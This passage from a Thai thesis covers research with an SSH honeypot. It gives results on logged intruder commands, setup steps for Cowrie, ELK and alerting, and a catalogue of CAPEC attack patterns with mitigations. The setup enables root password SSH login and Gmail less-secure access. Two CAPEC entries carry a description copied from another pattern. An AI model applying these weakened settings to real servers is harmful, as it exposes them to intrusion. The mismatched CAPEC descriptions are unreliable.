ถูกต้องในกรณีฉุกเฉินและฝึกทกัษะการกู้คืน

ระบบให้กบัเจ้าหน้าที่ที่เกี่ยวข้อง 

4 ผู้บุกรุกพยายามแก้ไขกฎในไฟร์วอลล ์ - เก็บประวัติการแก้ไขลงบันทึกจัดเก็บเพื่อ

เป็นประโยชน์ในการตรวจสอบการบุกรุก 

- ปิดเซอร์วิสที่ไม่จ าเป็นบนไฟร์วอลล์ เช่น 

การท ารีโมท (Remote Configuration) 

5 ผู้บุกรุกท าการเปลี่ยนรหัสผ่านผู้ใช้งานเดิม - บังคับให้ท าการยืนยันตัวตนผ่านสองข้ันตอน 

(Two-Factor Authentication) ก่อนถึงจะ

ท าการเปลี่ยนรหัสผ่านใหม่ได้ เช่น การรับ

รหสั OTP จากเครื่องโทรศัพท์มือถือ 

- มีการแจ้งเตือนใหเ้จ้าของบัญชีผู้ใช้ทราบเมื่อ

พบการเข้าสูร่ะบบด้วยอุปกรณ์อื่น 
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บทที่ 6  
สรุปผลการวิจัย 

ในบทนี้ได้กล่าวถึงสรุปผลการวิจัย ข้อจ ากัดในงานวิจัย และงานวิจัยในอนาคต ซึ่งมีรายละเอียด

ดังต่อไปนี้ 

6.1 สรุปผลการวิจัย 

วิทยานิพนธ์ฉบับนี้ได้น าเสนอแนวทางการปฏิบัติงานด้านความปลอดภัยองค์กรเชิงรุกหรือเชิง

ป้องกัน โดยได้ออกแบบและพัฒนาเครื่องมือเพื่อส ารวจช่องโหว่เครือช่าย เริ่มจากท าการเก็บรวบรวม

ข้อมูล จ าแนกข้อมูล วิเคราะห์พฤติกรรมของผู้บุกรุก รวมถึงประเมินความเสี่ยง เพื่อน าผลลัพธ์ที่ได้มา

สนับสนุนการก าหนดนโยบายองค์กรและจัดสร้างแนวทางปฏิบัติที่เป็นเลิศ เพื่อลดความเสี่ยงที่อาจ

เกิดจากภัยคุกคาม รวมถึงป้องกันช่องโหว่หรือปัญหาต่าง ๆ ก่อนที่จะเกิดข้ึน  

ในงานวิจัยน้ีผู้วิจัยท าการเก็บข้อมูลพฤติกรรมของผู้บุกรุกผ่านซอฟต์แวร์ฮันนีพอต ซึ่งข้อมูลจะถูก

เก็บอยู่ในรูปแบบของข้อมูลบันทึกจัดเก็บ จากการทดสอบสามารถเก็บรวบรวมข้อมูลบันทึกจัดเก็บได้ 

100,786 ข้อมูลบันทึกจัดเก็บ แบ่งออกเป็นส่วนของการเข้าสู่ระบบจ านวน 98,625 ข้อมูลบันทึก

จัดเก็บ และส่วนของค าสั่งการโจมตีจ านวน 2,161 ข้อมูลบันทึกจัดเก็บ เบื้องต้นในส่วนของการเข้าสู่

ระบบผู้วิจัยพบว่าผู้บุกรุกมักคาดเดาช่ือผู้ใช้และรหัสผ่านที่คาดเดาง่ายหรือจากค่ามาตรฐานทั่วไปของ

โปรแกรมบนระบบปฏิบัติการต่าง ๆ เช่น ช่ือผู้ใช้: root รหัสผ่าน: password และในส่วนของค าสั่ง

การโจมตี ผู้วิจัยค้นพบลักษณะของค าสั่งการโจมตีที่มีวัตถุประสงค์คล้ายกัน สามารถจ าแนกค าสั่งการ

โจมตีออกเป็น 5 กลุ่ม ได้แก่ 1. กลุ่มค าสั่งเพื่อค้นถามสารสนเทศ 2. กลุ่มค าสั่งเพื่อติดตั้ง 3. กลุ่มค าสั่ง

เพื่อโอนย้ายไฟล์ 4. กลุ่มค าสั่งเพื่อเปลี่ยนแปลงโครงแบบ 5. กลุ่มค าสั่งเพื่อยึดครองเซิร์ฟเวอร์ และอีก 

2 กลุ่ม คือ กลุ่มค าสั่งที่ผิดพลาด และกลุ่มของค าสั่งใหม่ที่ไม่เคยพบ จากนั้น ผู้วิจัยได้จับคู่ค าสั่งการ

โจมตีที่มีวัตถุประสงค์ใกล้เคียงกับรูปแบบการโจมตีคาเปกเพื่อท าการประเมินระดับความเสี่ยงของ

ค าสั่งการโจมตีจ านวน 24 คู่ พบว่ากลุ่มของค าสั่งการโจมตีที่มีระดับความเสี่ยงสูงสุดได้แก่ค าสั่งใน

กลุ่ม 4 และจากการวิเคราะห์ผลผ่านไวรัสโททอล ผู้วิจัยพบยูอาร์แอลและไฟล์อันตรายที่ระบุอยู่ใน

ข้อมูลบันทึกจัดเก็บจ านวน 468 จาก 544 ข้อมูลบันทึกจัดเก็บ จ าแนกเป็นการโจมตีแบบฟิชชิง 

(Phishing) 39 ข้อมูลบันทึกจัดเก็บ แบบมัลแวร์ (Malware) 258 ข้อมูลบันทึกจัดเก็บ และแบบมัลลิ

เชียส (Malicious) 171 ข้อมูลบันทึกจัดเก็บ สรุปได้ว่า 86% ของยูอาร์แอลและไฟล์ที่ระบุอยู่ในค าสั่ง

การโจมตีเป็นภัยคุกคาม 
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จากผลทดสอบแสดงให้เห็นว่าแบบจ าลองและเครื่องมือสนับสนุนที่ผู้วิจัยน าเสนอในวิทยานิพนธ์

ฉบับนี ้สามารถน ามาประยุกต์ใช้เพื่อช่วยพัฒนาระบบการปฏิบัติงานด้านความปลอดภัยองค์กรได้จริง

โดยน าผลลัพธ์ที่ได้และนโยบายการป้องกันที่องค์กรพึงมีไปสนับสนุนการก าหนดนโยบายองค์กรและ

น าไปพัฒนาแนวทางปฏิบัติที่เป็นเลิศให้ดีย่ิงข้ึน 

6.2 ข้อจ ากัดในงานวิจัย 

งานวิจัยนี้ได้จัดท าข้ึนเพื่อตรวจจับการลักลอบเข้าสู่ระบบ และวิเคราะห์พฤติกรรมต่าง ๆ ของผู้

บุกรุก ซึ่งรองรับกับระบบปฏิบัติการยูนิกซ์ (Unix) หรือลินุกซ์ (Linux) เท่านั้น ไม่สามารถน าระบบนี้

ไปใช้ร่วมกับระบบปฏิบัติการอื่นได้ 

6.3 งานวิจัยในอนาคต 

งานวิจัยในอนาคตที่ควรน ามาพัฒนาต่อยอด ได้แก่ การน าเทคโนโลยีปัญญาประดิษฐ์ (Artificial 

Intelligence) และการเรียนรู้ของเครื่อง (Machine learning) มาประยุกต์ใช้เพื่อช่วยในการคัดแยก

ข้อมูลภัยคุกคาม รวมถึงระบุข้อมูลที่เช่ือมโยงไปยังช่องโหว่ที่ไม่รู้จักมาก่อน (Zero-day) ซึ่งสิ่งนี้จะ

เป็นประโยชน์อย่างมากต่อองค์กรเพื่อปิดช่องโหว่ต่าง ๆ ก่อนที่จะเกิดการรั่วไหลของข้อมูล ยกระดับ

การตรวจจับและป้องกันภัยคุกคามไซเบอร์ให้มีประสิทธิภาพมากยิ่งข้ึน 
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ภาคผนวก ก 
การสร้างคอมพิวเตอร์เสมือนบนกูเกิลคราวด์แพลตฟอร์ม  
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1. สร้างคอมพิวเตอร์ เสมือน (VM: Virtual Machine) 2 เครื่อง ได้แก่  ฮันนีพอตเซิร์ฟเวอร์  

(Honeypot Server) และ รีพอร์ตเซิร์ฟเวอร์ (Report Server) 

 
ภาพที่ 45 การสร้างคอมพิวเตอร์เสมือน 

2. ตั้งช่ือคอมพิวเตอร์เสมือนและก าหนดสภาพแวดล้อมของเครื่องฮันนีพอตเซิร์ฟเวอร์แสดงดังภาพที่ 

46 และ ภาพที่ 47  

 

ภาพที่ 46 สภาพแวดล้อมของเครือ่งฮันนีพอตเซริ์ฟเวอร์ 
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ภาพที่ 47 การก าหนดไฟร์วอลลเ์ครื่องฮันนีพอตเซิรฟ์เวอร์ 

2. ตั้งช่ือคอมพิวเตอร์เสมือนและก าหนดสภาพแวดล้อมของเครื่องรีพอร์ตเซิร์ฟเวอร์แสดงดังภาพที่ 48 

และภาพที่ 49 

 

ภาพที่ 48 สภาพแวดล้อมของเครือ่งรีพอร์ตเซริ์ฟเวอร์ 
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ภาพที่ 49 การก าหนดไฟร์วอลลเ์ครื่องรีพอร์ตเซิรฟ์เวอร์ 

 

ภาพที่ 50 หน้าจอแสดงผลการสร้างคอมพิวเตอร์เสมอืนส าเร็จ 

3. เปิดสิทธ์ิบัญชีผู้ใช้งานรูท เพื่อใช้ในการติดตั้งและก าหนดค่าโครงแบบซอฟต์แวร์ 

3.1 แก้ไขไฟล์ sshd_config จากพาท /etc/ssh/sshd_config และท าการเปลี่ยนค่า 2 บรรทัด 

ได้ แก่  บรรทัด  PermitRootLogin no เปลี่ ยน เป็ น  yes และ  PasswordAuthentication no 

เปลี่ยนเป็น yes  

3.2 สั่งรีสทาร์ต (Restart) เซอร์วิชเอสเอสเอชดี (sshd service) แสดงดังภาพที่ 51 

 

ภาพที่ 51 สั่งรีสทาร์ตเซอร์วิชเอสเอสเอชด ี
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ภาคผนวก ข 
การติดต้ังและก าหนดค่าโครงแบบเครื่องฮันนีพอต 
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1. อัพเดทระบบด้วยค าสั่ง yum upgrade –y แสดงดังภาพที่ 52 

 

ภาพที่ 52 ค าสั่งการอัพเดทระบบ 

2. สร้างบัญชีผู้ใช้ที่ช่ือว่า cowrie ด้วยค าสั่ง adduser cowrie  

3. ติดตั้งแพ็กเกจซอฟต์แวร์ด้วยค าสั่ง yum install -y python-virtualenv git gcc ดังภาพที่ 53 

 

ภาพที่ 53 การติดตั้งแพ็กเกจซอฟต์แวร์เครือ่งฮันนีพอต 

4. ก าหนดค่าโครงแบบไฟร์วอลล์ ด้วยค าสั่ง firewall-cmd –add-port 2222/tcp เพื่อเปิดพอร์ตการ

ใช้งาน 

5. เข้าสู่ระบบด้วยช่ือ cowrie 

6. ดาวน์โหลดแพ็กเกจฮันนีพอตด้วยค าสั่ง git clone http://github.com/cowrie/cowrie 

7. สร้างสภาพแวดล้อมภายในด้วยค าสั่ง virtualenv --python=python2.7 cowrie-env 

8. เข้าใช้งานสภาพแวดล้อมด้วยค าสั่ง . cowrie-env/bin/activate หากเข้าส าเร็จจะแสดงผลลัพธ์ดัง

ภาพที่ 54 
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ภาพที่ 54 การเข้าใช้งานสภาพแวดล้อม 

9. ท าการอัพเกรตแพ็กเกจให้เป็นเวอร์ชันล่าสุดและท าการติดตั้งไฟล์ที่ช่ือว่า requirements.txt ด้วย

ค าสั่งต่อไปนี้  

pip install --upgrade pip 

pip install --upgrade -r requirements.txt 

10. เริ่มต้นใช้งานเซอร์วิสฮันนีพอต ด้วยค าสั่งต่อไปนี้ 

cd /home/cowrie/cowrie/bin 

./cowrie start 

11. ตรวจสอบสถานะด้วยค าสั่ง ss -lntp | grep twistd 

12. ปิดการท างานฮันนีพอตด้วยค าสั่ง  cd /home/cowrie/cowrie/bin/cowrie stop เพื่อแก้ไข

พอร์ตการใช้งาน 

13. เปลี่ยนหมายเลขพอร์ตที่เป็นค่าเริ่มต้น จากพอร์ต 22 เป็น 2332 ด้วยค าสั่ง 

echo "Port 2332" >> /etc/ssh/sshd_config 

semanage port -a -t ssh_port_t -p tcp 2332 

14. ก าหนดค่าโครงแบบไฟร์วอลล์เพื่อเปิดพอร์ตการใช้งาน ด้วยค าสั่ง  

firewall-cmd -–add-port 2332/tcp –permanent 

firewall-cmd –-reload 

15. ท าการรีสทาร์ตเซอร์วิสเอสเอสเอชด้วยค าสั่ง systemctl restart sshd.service 

16. ออกจากระบบและเข้าสู่ระบบใหม่ด้วยพอร์ต 2332 

17. ก าหนดค่าโครงแบบไฟร์วอลล์เพื่อเปลี่ยนพอร์ตเริ่มต้นของฮันนีพอตจาก 2222 เป็น 22 ด้วยค าสั่ง

ดังต่อไปนี้ 

firewall-cmd --add-masquerade --permanent 
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firewall-cmd --add-forward-port=port=22:proto=tcp:toport=2222 --permanent 

firewall-cmd –reload 

18. เข้าสู่ระบบด้วยบัญชีผู้ใช้ช่ือ cowrie และเริ่มต้นใช้งานเซอร์วิสฮันนีพอตด้วยค าสั่ง 

cd /home/cowrie/cowrie/bin/cowrie start 

19. ก าหนดช่ือบัญชีผู้ใช้และรหัสผ่านที่สามารถเข้าสู่ระบบด้วยค าสั่ง 

cd /home/cowrie/cowrie/etc 

cp –rp userdb.example userdb.txt 

20. ท าการรีสทาร์ตเซอร์วิสอีกครั้งด้วยค าสั่ง 

/home/cowrie/cowrie/bin/cowrie stop 

/home/cowrie/cowrie/bin/cowrie start 

21. ดาวน์โหลด Filebeat และอัพโหลดที่ไปที่เซิฟต์เวอร์ 

22.  แตกไฟล์  filebeat-7.5.2-linux-x86_64.tar.gz ด้วยค าสั่ ง  tar –zxvf filebeat-7.5.2-linux-

x86_64.tar.gz จะพบไฟล์ย่อยที่แสดงดังภาพที่ 55 

 

ภาพที่ 55 ข้ันตอนการแตกไฟล์ 
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23. แก้ไขค่าโครงแบบไฟล์ filebeat.yml ภายใต้พาท filebeat-7.5.2-linux-x86_64 ด้วยค าสั่ง vi 

filebeat.yml โดยแก้ไขค่าดังต่อไปนี้ 

- type: log 
  enabled: true 
  paths: 
      - /home/cowrie/logme/sum_login_*.log 
  fields_under_root: true 
  fields: 
  tags: ["check_login"] 
- type: log 
  enabled: true 
  paths: 
      - /home/cowrie/logme/sum_case*.log 
  fields_under_root: true 
  fields: 
  tags: ["check_cmd"] 
- type: log 
  enabled: true 
  paths: 
      - /home/cowrie/logme/url_malware_*.txt 
  fields_under_root: true 
  fields: 
  tags: ["check_malware"] 

24. แก้ไขค่าโครงแบบไฟล์ filebeat.yml โดยการใส่คอมเมนต์ (#) ดังต่อไปนี้ 

#output.elasticsearch: 

#hosts : [“localhost:9200”] 

25. แก้ไขค่าโครงแบบไฟล์ filebeat.yml โดยการลบคอมเมนต์ (#) ดังต่อไปนี้ 

output.logstash: 

hosts: [“10.128.0.3:5044”]       --- IP Report Server 
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ภาคผนวก ค 
การติดต้ังและก าหนดค่าโครงแบบเครื่องรีพอร์ต 
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1. ติดตั้ง Logstash 

1.1 อัพเดตและอัพเกรดด้วยค าสั่ง  

yum -y update  

yum -y upgrade 

1.2 ติดต้ัง Logstash ด้วยค าสั่ง sudo rpm --import https://artifacts.elastic.co/GPG-KEY-

elasticsearch 

1. 3 สร้ า ง ไฟล์ที่ ช่ื อ ว่ า  logstash.repo ภายใต้พาท /etc/yum.repos.d/ ด้วยค าสั่ ง  vi 

/etc/yum.repos.d/logstash.repo โดยภายในไฟล์มีรายละเอียดดังภาพที่ 56 

 

ภาพที่ 56 การก าหนดค่าโครงแบบในไฟล ์logstash.repo 

1.4 ติดตั้ง logstash ด้วยค าสั่ง yum install logstash 

1.5 ท าการสทาร์ตเซอร์วิสเพื่อเริ่มต้นการใช้งานด้วยค าสั่ง systemctl start logstash 

2. ติดตั้ง Elasticsearch 

2.1 ติดตั้งจาวา (Java) ด้วยค าสั่ง sudo yum -y install java-openjdk-devel java-openjdk 

2.2 ติดตั้ง Elasticseach ด้วยค าสั่ ง rpm --import https://artifacts.elastic.co/GPG-KEY-

elasticsearch 

2.3 สร้างไฟล์ที่ ช่ือว่า elasticsearch.repo ภายใต้พาท /etc/yum.repos.d/ ด้วยค าสั่ง vi 

/etc/yum.repos.d/elasticsearch.repo โดยภายในไฟล์มีรายละเอียดดังภาพที่ 57 
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ภาพที่ 57 การก าหนดค่าโครงแบบในไฟล์ elasticsearch.repo 
2.4 ติดตั้ง elasticsearch ด้วยค าสั่ง yum install elasticsearch 

2.5 ท าการสทาร์ตเซอร์วิสเพื่อเริ่มต้นการใช้งานด้วยค าสั่ง systemctl start elasticsearch 

3. ติดตั้ง Kibana 

3.1 ท าการติดตั้ง Kibana ด้วยค าสั่ง rpm --import https://artifacts.elastic.co/GPG-KEY-

elasticsearch 

3. 2  สร้ า ง ไฟล์ที่ มี ช่ื อ ว่า  kibana.repo ภายใต้พาท  / etc/yum.repos.d/ ด้วยค าสั่ ง  vi 

/etc/yum.repos.d/kibana.repo 

3.3 ติดตั้ง kibana ด้วยค าสั่ง yum install kibana 

3.4 ท าการสทาร์ตเซอร์วิสเพื่อเริ่มต้นการใช้งานด้วยค าสั่ง systemctl start kibana 
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ภาคผนวก ง 
การติดต้ังและก าหนดค่าโครงแบบซอฟต์แวร์ส าหรับการแจ้งเตือน 
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1. การเรียกใช้งานไลน์เว็บเซอร์วิส 

1.1 สมัครใช้บริการไลน์เว็บเซอร์วิส https://notify-bot.line.me/my/  

เข้าสู่ระบบด้วยช่ือและรหัสผ่านส าหรับใช้งานไลน์ จากนั้นเลือกรายการออก Access Token (ส าหรับ

ผู้พัฒนา) และกดออกโทเคน (Token) แสดงดังภาพที่ 58 

 

ภาพที่ 58 สมัครใช้บริการไลน์เว็บเซอร์วิส 

1.2 เลือกห้องแชทที่ต้องการส่งข้อความแจ้งเตือน (หากไม่มีให้สร้างกลุ่มขึ้นมาใหม่) 
จากนั้นจะได้โทเคนที่ออก แสดงดังภาพที่ 59 

 

ภาพที่ 59 หน้าจอแจ้งเตือน 

1.3 ไปที่เซิร์ฟเวอร์เพื่อทดสอบการแจ้งเตือนโดยใช้ค าสั่ง 

curl -X POST -H 'Authorization: Bearer '"TOKEY KEY"'' -F 'message='"ท ด ส อ บ "  

https://notify-api.line.me/api/notify แสดงดังภาพที่ 60 

 

ภาพที่ 60 ค าสั่งทดสอบการแจ้งเตอืนผ่านไลน ์
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ภาพที่ 61 ทดสอบการแจ้งเตือนผ่านไลน ์

2. การติดตั้งแพ็กเกจส าหรับส่งอีเมล 

2.1 ติดตั้งซอฟต์แวร์ที่ต้องใช้ แสดงดังภาพที่ 62 

 

ภาพที่ 62 ค าสั่งติดตั้งแพ็กเกจซอฟต์แวร์ส าหรบัสง่อีเมล 

2.2 เพิ่มค่าโครงแบบที่ไฟล ์sasl_passwd ภายใต้พาท /etc/postfix ดังค าสั่งที่แสดงดงัภาพที่ 63 

รูปแบบไวยากรณ์ (syntax) : [smtp.gmail.com]:587  mail@xxx.com:password 

 

ภาพที่ 63 การเพิ่มค่าโครงแบบที่ไฟล์ sasl_passwd 

2.3 แก้ไขค่าโครงแบบที่ไฟล ์main.cf ดังต่อไปนี้ 

mailto:mail@xxx.com:password
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myhostname = hostname.example.com 

relayhost = [smtp.gmail.com]:587 

smtp_use_tls = yes 

smtp_sasl_auth_enable = yes 

smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd 

smtp_tls_CAfile = /etc/ssl/certs/ca-bundle.crt 

2.4 ประมวลผลไฟล์ก าหนดค่าโครงแบบโดยใช้ค าสั่ง postmap /etc/postfix/sasl_passwd 

2.5 สั่งรีสทาร์ต (Restart) Postfix ด้วยค าสั่ง systemctl restart postfix.service 

2.6 สั่งเปิดใช้งานเซอร์วิชด้วยค าสั่ง systemctl enable postfix.service 

2.7 ตั้งค่าจีเมลในส่วนของความปลอดภัย โดยการเปิดการเข้าถึงของแอปที่มีความปลอดภัยน้อย 

2.9 ทดสอบการส่งอีเมลแจ้งเตือน แสดงดังภาพที่ 64 

 

ภาพที่ 64 ค าสั่งทดสอบการส่งอเีมลแจง้เตือน 
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ภาคผนวก จ 
รายละเอียดรูปแบบการโจมตีคาเปก 
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รูปแบบการโจมตีคาเปก (CAPEC) ที่น ามาจับคู่ทั้งหมด 24 รูปแบบ มีรายละเอียดดังต่อไปนี้ [12] 

1. Inducing Account Lockout 

CAPEC ID CAPEC-2 

Description An attacker leverages the security functionality of the system aimed at thwarting 

potential attacks to launch a denial of service attack against a legitimate system user. 

Many systems, for instance, implement a password throttling mechanism that locks an 

account after a certain number of incorrect log in attempts. An attacker can leverage 

this throttling mechanism to lock a legitimate user out of their own account. The 

weakness that is being leveraged by an attacker is the very security feature that has 

been put in place to counteract attacks. 

Likelihood High 

Impact Medium 

Resources Required Computer with access to the login portion of the target system 

Mitigations Implement intelligent password throttling mechanisms such as those which take IP 

address into account, in addition to the login name. 

2. Subverting Environment Variable Values 

CAPEC ID CAPEC-13 

Description The attacker directly or indirectly modifies environment variables used by or 

controlling the target software. The attacker's goal is to cause the target software to 

deviate from its expected operation in a manner that benefits the attacker. 

Likelihood High 

Impact Very High 

Resources Required None 

Mitigations Protect environment variables against unauthorized read and write access. 

Protect the configuration files which contain environment variables against illegitimate 

read and write access. 

3. Dictionary-based Password Attack 

CAPEC ID CAPEC-16 

Description An attacker tries each of the words in a dictionary as passwords to gain access to the 

system via some user's account. If the password chosen by the user was a word within 

the dictionary, this attack will be successful (in the absence of other mitigations). This is 

a specific instance of the password brute forcing attack pattern. 

Likelihood Medium 
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Impact High 

Resources Required A machine with sufficient resources for the job (e.g. CPU, RAM, HD). Applicable 

dictionaries are required. Also a password cracking tool or a custom script that 

leverages the dictionary database to launch the attack. 

Mitigations Create a strong password policy and ensure that your system enforces this policy. 

4. Exploiting Trust in Client 

CAPEC ID CAPEC-22 

Description The attacker directly or indirectly modifies environment variables used by or 

controlling the target software. The attacker's goal is to cause the target software to 

deviate from its expected operation in a manner that benefits the attacker. 

Likelihood High 

Impact High 

Resources Required Ability to communicate synchronously or asynchronously with server 

Mitigations Design: Ensure that client process and/or message is authenticated so that anonymous 

communications and/or messages are not accepted by the system. 

Design: Do not rely on client validation or encoding for security purposes. 

Design: Utilize digital signatures to increase authentication assurance. 

Design: Utilize two factor authentication to increase authentication assurance. 

Implementation: Perform input validation for all remote content. 

5. Using Unpublished APIs 

CAPEC ID CAPEC-36 

Description The attacker directly or indirectly modifies environment variables used by or 

controlling the target software. The attacker's goal is to cause the target software to 

deviate from its expected operation in a manner that benefits the attacker. 

Likelihood Medium 

Impact High 

Resources Required None 

Mitigations Authenticating both services and their discovery, and protecting that authentication 

mechanism simply fixes the bulk of this problem. Protecting the authentication 

involves the standard means, including: 1) protecting the channel over which 

authentication occurs, 2) preventing the theft, forgery, or prediction of authentication 

credentials or the resultant tokens, or 3) subversion of password reset and the like. 

6. Retrieve Embedded Sensitive Data 



 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 85 

CAPEC ID CAPEC-37 

Description An attacker examines a target system to find sensitive data that has been embedded 

within it. This information can reveal confidential contents, such as account numbers or 

individual keys/credentials that can be used as an intermediate step in a larger attack. 

Likelihood High 

Impact Very High 

Resources Required The attacker must possess access to the system or code being exploited. Such access, 

for this set of attacks, will likely be physical. The attacker will make use of reverse 

engineering technologies, perhaps for data or to extract functionality from the binary. 

Such tool use may be as simple as "Strings" or a hex editor. Removing functionality may 

require the use of only a hex editor, or may require aspects of the toolchain used to 

construct the application: for instance the Adobe Flash development environment. 

Attacks of this nature do not require network access or undue CPU, memory, or other 

hardware-based resources. 

Mitigations Minimize error/response output to only what is necessary for functional use or 

corrective language. 

7. Password Brute Forcing 

CAPEC ID CAPEC-49 

Description In this attack, the adversary tries every possible value for a password until they 

succeed. A brute force attack, if feasible computationally, will always be successful 

because it will essentially go through all possible passwords given the alphabet used 

and the maximum length of the password. A system will be particularly vulnerable to 

this type of an attack if it does not have a proper enforcement mechanism in place to 

ensure that passwords selected by users are strong passwords that comply with an 

adequate password policy. In practice a pure brute force attack on passwords is rarely 

used, unless the password is suspected to be weak. Other password cracking methods 

exist that are far more effective. Knowing the password policy on the system can make 

a brute force attack more efficient. For instance, if the policy states that all passwords 

must be of a certain level, there is no need to check smaller candidates. 

Likelihood Medium 

Impact High 

Resources Required A powerful enough computer for the job with sufficient CPU, RAM and HD. Exact 

requirements will depend on the size of the brute force job and the time requirement 

for completion. Some brute forcing jobs may require grid or distributed computing (e.g. 

DES Challenge). 

Mitigations Brute Force Attack prevention should be longer password length. 
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Password should consist of UPPERCASE and lowercase alphabets and should also have 

numbers and special characters. 

8. Query System for Information 

CAPEC ID CAPEC-54 

Description An adversary, aware of an application's location (and possibly authorized to use the 

application), probes an application's structure and evaluates its robustness by 

submitting requests and examining responses. Often, this is accomplished by sending 

variants of expected queries in the hope that these modified queries might return 

information beyond what the expected set of queries would provide. 

Likelihood High 

Impact Low 

Resources Required The Attacker needs the ability to probe application functionality and provide it 

erroneous directives or data without triggering intrusion detection schemes or making 

enough of an impact on application logging that steps are taken against the attacker. 

The Attack does not need special hardware, software, skills, or access. 

Mitigations Application designers can construct a 'code book' for error messages. When using a 

code book, application error messages aren't generated in string or stack trace form, 

but are cataloged and replaced with a unique value 'coding' for the error. Such a 

technique will require helpdesk and hosting personnel to use a 'code book' or similar 

mapping to decode application errors/logs in order to respond to them normally. 

9. Rainbow Table Password Cracking 

CAPEC ID CAPEC-55 

Description An attacker gets access to the database table. 

Likelihood Medium 

Impact Medium 

Resources Required Rainbow table of password hash chains with the right algorithm used. A password 

cracking tool that leverages this rainbow table will also be required. 

Mitigations Use salt when computing password hashes. That is, concatenate the salt (random bits) 

with the original password prior to hashing it. 

10. Try Common or Default Usernames and Passwords 

CAPEC ID CAPEC-70 

Description An adversary may try certain common or default usernames and passwords to gain 

access into the system and perform unauthorized actions. An adversary may try an 
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intelligent brute force using empty passwords, known vendor default credentials, as 

well as a dictionary of common usernames and passwords. Many vendor products 

come preconfigured with default (and thus well-known) usernames and passwords that 

should be deleted prior to usage in a production environment. It is a common mistake 

to forget to remove these default login credentials. Another problem is that users 

would pick very simple passwords (e.g. password) that make it easier for the attacker to 

gain access to the system compared to using a brute force attack or even a dictionary 

attack using a full dictionary. 

Likelihood Medium 

Impact High 

Resources Required Technology or vendor specific list of default usernames and passwords 

Mitigations Delete default usernames and passwords that put in by the product vendor. 

Create a complex password. 

11. Man in the Middle Attack 

CAPEC ID CAPEC-94 

Description This type of attack targets the communication between two components (typically 

client and server). The attacker places himself in the communication channel between 

the two components. Whenever one component attempts to communicate with the 

other, the data first goes to the attacker, who has the opportunity to observe or alter 

it, and it is then passed on to the other component as if it was never observed. This 

interposition is transparent leaving the two compromised components unaware of the 

potential corruption or leakage of their communications. The potential for Man-in-the-

Middle attacks yields an implicit lack of trust in communication or identify between 

two components. MITM attacks differ from sniffing attacks since they often modify the 

communications prior to delivering it to the intended recipient. These attacks also 

differ from interception attacks since they may forward the sender's original unmodified 

data, after copying it, instead of keeping it for themselves. 

Likelihood High 

Impact Very High 

Resources Required None 

Mitigations Get your Public Key signed by a Certificate Authority 

Use Strong mutual authentication to always fully authenticate both ends of any 

communications channel. 

12. Phishing 

CAPEC ID CAPEC-98 
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Description Phishing is a social engineering technique where an attacker masquerades as a 

legitimate entity with which the victim might do business in order to prompt the user 

to reveal some confidential information (very frequently authentication credentials) 

that can later be used by an attacker. Phishing is essentially a form of information 

gathering or "fishing" for information. 

Likelihood High 

Impact Very High 

Resources Required Some web development tools to put up a fake website. 

Mitigations Do not follow any links that you receive within your e-mails and certainly do not input 

any login credentials on the page that they take you too. Instead, call your Bank, 

PayPal, eBay, etc., and inquire about the problem. A safe practice would also be to 

type the URL of your bank in the browser directly and only then log in. Also, never 

reply to any e-mails that ask you to provide sensitive information of any kind. 

13. Flooding 

CAPEC ID CAPEC-125 

Description An adversary consumes the resources of a target by rapidly engaging in a large number 

of interactions with the target. This type of attack generally exposes a weakness in rate 

limiting or flow. When successful this attack prevents legitimate users from accessing 

the service and can cause the target to crash. This attack differs from resource 

depletion through leaks or allocations in that the latter attacks do not rely on the 

volume of requests made to the target but instead focus on manipulation of the 

target's operations. The key factor in a flooding attack is the number of requests the 

adversary can make in a given period of time. The greater this number, the more likely 

an attack is to succeed against a given target. 

Likelihood High 

Impact Medium 

Resources Required A script or program capable of generating more requests than the target can handle, or 

a network or cluster of objects all capable of making simultaneous requests. 

Mitigations Ensure that protocols have specific limits of scale configured. 

Specify expectations for capabilities and dictate which behaviors are acceptable when 

resource allocation reaches limits. 

14. Directory Indexing 

CAPEC ID CAPEC-127 

Description An adversary crafts a request to a target that results in the target listing/indexing the 

content of a directory as output. One common method of triggering directory contents 



 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 89 

as output is to construct a request containing a path that terminates in a directory 

name rather than a file name since many applications are configured to provide a list 

of the directory's contents when such a request is received. An adversary can use this 

to explore the directory tree on a target as well as learn the names of files. This can 

often end up revealing test files, backup files, temporary files, hidden files, 

configuration files, user accounts, script contents, as well as naming conventions, all of 

which can be used by an attacker to mount additional attacks. 

Likelihood High 

Impact Medium 

Resources Required Ability to send HTTP requests to a web application. 

Mitigations 1. Using blank index.html: putting blank index.html simply prevent directory listings 

from displaying to site visitors. 

2. Preventing with .htaccess in Apache web server: In .htaccess, write "Options-indexes". 

15. Symlink Attack 

CAPEC ID CAPEC-132 

Description An attacker positions a symbolic link in such a manner that the targeted user or 

application accesses the link's endpoint, assuming that it is accessing a file with the 

link's name. The endpoint file may be either output or input. If the file is output, the 

result is that the endpoint is modified, instead of a file at the intended location. 

Modifications to the endpoint file may include appending, overwriting, corrupting, 

changing permissions, or other modifications. In some variants of this attack the 

attacker may be able to control the change to a file while in other cases they cannot. 

The former is especially damaging since the attacker may be able to grant themselves 

increased privileges or insert false information, but the latter can also be damaging as it 

can expose sensitive information or corrupt or destroy vital system or application files. 

Alternatively, the endpoint file may serve as input to the targeted application. This can 

be used to feed malformed input into the target or to cause the target to process 

different information, possibly allowing the attacker to control the actions of the target 

or to cause the target to expose information to the attacker. Moreover, the actions 

taken on the endpoint file are undertaken with the permissions of the targeted user or 

application, which may exceed the permissions that the attacker would normally have. 

Likelihood Low 

Impact High 

Resources Required None 

Mitigations Design: Check for the existence of files to be created, if in existence verify they are 

neither symlinks nor hard links before opening them. 
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Implementation: Use randomly generated file names for temporary files. Give the files 

restrictive permissions. 

16. Relative Path Traversal 

CAPEC ID CAPEC-139 

Description An attacker exploits a weakness in input validation on the target by supplying a 

specially constructed path utilizing dot and slash characters for the purpose of 

obtaining access to arbitrary files or resources. An attacker modifies a known path on 

the target in order to reach material that is not available through intended channels. 

These attacks normally involve adding additional path separators (/ or \) and/or dots 

(.), or encodings thereof, in various combinations in order to reach parent directories or 

entirely separate trees of the target's directory structure. 

Likelihood High 

Impact High 

Resources Required None 

Mitigations Design: Input validation. Assume that user inputs are malicious. Utilize strict type, 

character, and encoding enforcement 

Implementation: Perform input validation for all remote content, including remote and 

user-generated content. 

Implementation: Validate user input by only accepting known good. Ensure all content 

